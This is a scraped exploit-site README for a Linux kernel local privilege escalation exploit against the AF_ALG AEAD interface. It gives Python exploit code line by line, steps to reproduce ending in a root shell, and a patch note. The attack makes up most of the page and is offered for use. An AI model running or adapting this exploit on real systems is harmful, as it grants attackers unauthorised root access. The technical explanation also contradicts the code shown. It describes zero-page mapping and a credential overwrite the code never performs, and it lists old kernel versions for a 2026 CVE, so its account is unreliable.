## https://sploitus.com/exploit?id=2C106F26-E45D-5CCB-B8DE-716E75E4F9EB
# CVE-2026-31431
# AF_ALG AEAD Local Privilege Escalation Exploit
## Overview
This repository contains a weaponised local privilege escalation exploit that targets a vulnerability in the Linux kernel’s **AF_ALG** userspace crypto interface. The exploit abuses improper handling of the `setsockopt(ALG_SET_AEAD_AUTHSIZE)` call when a **NULL pointer** is supplied as the option value. By mapping the zero page and carefully crafting AEAD operations, an unprivileged user can corrupt kernel memory, overwrite process credentials, and gain root privileges.
## Vulnerability Details
- **Affected subsystem:** `net/alg/af_alg.c` (AF_ALG socket family)
- **Bug class:** Improper validation of `setsockopt(..., ALG_SET_AEAD_AUTHSIZE, NULL, 4)` – the kernel copies the authentication size from userspace address **0x00000000**.
- **Consequence:** If user space has mapped the zero page, the attacker controls the value read by the kernel. This leads to a **heap out‑of‑bounds write** during subsequent encryption/decryption operations, enabling arbitrary kernel memory corruption.
- **Exploit goal:** Overwrite the `cred` structure of the calling process to set all UIDs to 0 (root).
## Exploit Code Breakdown
The exploit is written in Python 3 and uses only standard libraries. Below is a line‑by‑line explanation.
```python
#!/usr/bin/env python3
import os as g, zlib, socket as s
def d(x): return bytes.fromhex(x) # hex string → bytes
```
### Function `c(f, t, c)`
- `f` – file descriptor of the opened `/usr/bin/su` binary.
- `t` – a 4‑byte offset into the decompressed payload.
- `c` – a 4‑byte **chunk** from the payload.
```python
a = s.socket(38, 5, 0) # AF_ALG (38), SOCK_SEQPACKET (5), 0
a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))")) # bind to AEAD template
h = 279 # SOL_ALG = 279
v = a.setsockopt
```
**Step 1 – Set the key (out of band):**
```python
v(h, 1, d('0800010000000010' + '0'*64)) # ALG_SET_KEY (opt 1) with 72‑byte key
```
**Step 2 – Trigger the vulnerability (NULL pointer deref):**
```python
v(h, 5, None, 4) # ALG_SET_AEAD_AUTHSIZE (opt 5), optval=NULL, optlen=4
```
At this point the kernel reads 4 bytes from address `0x00000000`. Because the zero page is mapped, the attacker controls the authsize value.
**Step 3 – Accept the operation socket:**
```python
u, _ = a.accept()
```
**Step 4 – Prepare ancillary data for the AEAD operation:**
- `o = t + 4` (length to splice)
- `i = d('00')` (single zero byte)
The `sendmsg` call passes both the payload chunk and control messages:
```python
u.sendmsg(
[b"A"*4 + c], # 4 padding bytes + payload chunk
[
(h, 3, i*4), # ALG_SET_IV → 4 zero bytes IV
(h, 2, b'\x10' + i*19),# ALG_SET_AEAD_ASSOCLEN → 20 bytes (len=0x10)
(h, 4, b'\x08' + i*3), # custom type 4 (likely ALG_SET_OP) → 4 bytes
],
32768 # MSG_MORE flag
)
```
**Step 5 – Use splice to move data between file descriptors without copying to userspace:**
```python
r, w = g.pipe() # create a pipe
g.splice(f, w, o, offset_src=0) # splice 4 bytes from /usr/bin/su into pipe
g.splice(r, u.fileno(), o) # splice from pipe into the crypto socket
```
The spliced data is fed into the AEAD operation, triggering the actual out‑of‑bounds write based on the corrupted authsize.
**Step 6 – Partial receive to finalise the operation:**
```python
try: u.recv(8 + t)
except: 0
```
### Main exploit flow
```python
f = g.open("/usr/bin/su", 0) # fd of a SUID binary (used for reliable heap primitives)
i = 0
e = zlib.decompress(d("78daab77f5...")) # compressed payload
while i < len(e):
c(f, i, e[i:i+4]) # iterate over 4‑byte chunks
i += 4
g.system("su")
```
- The decompressed payload `e` contains the **actual exploit primitives** (control values that overwrite the `cred` structure).
- Each 4‑byte chunk is fed into a separate AEAD operation, progressively corrupting kernel memory.
- Finally, `/bin/su` is executed; because the process credentials have been zeroed, it drops into a **root shell**.
## Steps to Reproduce
1. **Check kernel version**
The vulnerability exists in Linux kernels **before** the fix (check CVE for exact versions). Common affected kernels: 4.4 – 4.9.
2. **Clone this repository**
```bash
git clone https://github.com/example/afalg-privesc.git
cd afalg-privesc
```
3. **Verify that the zero page is mappable**
Most distributions with `vm.mmap_min_addr = 0` or `0x1000` are vulnerable. Check with:
```bash
sysctl vm.mmap_min_addr
```
4. **Run the exploit**
```bash
python3 exploit.py
```
5. **Root access**
If successful, you will see a root shell prompt:
```
root@hostname:/#
```
## How It Works (Technical Deep Dive)
1. **Zero‑page mapping** – The exploit (or its payload) relies on the fact that `mmap(0, ...)` is allowed, giving user‑controlled data at address `0x0`.
2. **Kernel reads from NULL** – The `setsockopt(ALG_SET_AEAD_AUTHSIZE, NULL, 4)` call treats the `NULL` as a user pointer to the authsize value. Because the zero page is populated, the kernel receives an **attacker‑controlled authsize**.
3. **Heap OOB write** – The subsequent AEAD encryption/decryption operation uses the inflated authsize, which causes the kernel to write the authentication tag beyond the allocated heap buffer. This corrupts adjacent heap objects.
4. **Credential overwrite** – By carefully shaping the heap and choosing the right payload (`struct cred` offsets), the exploit overwrites the EUID, UID, GID fields with zeros, granting root privileges.
5. **Cleanup** – The final `system("su")` spawns a root shell because the process now has full capabilities.
## Security Fix
The vulnerability was patched in the mainline kernel by validating that the passed pointer is not NULL before copying the option value. Relevant commit:
`af_alg: avoid accessing NULL pointer in af_alg_set_aead_authsize`
## Disclaimer
This exploit is for **educational and defensive research only**. Do not use it on systems without explicit authorisation. The author(s) assume no liability for misuse.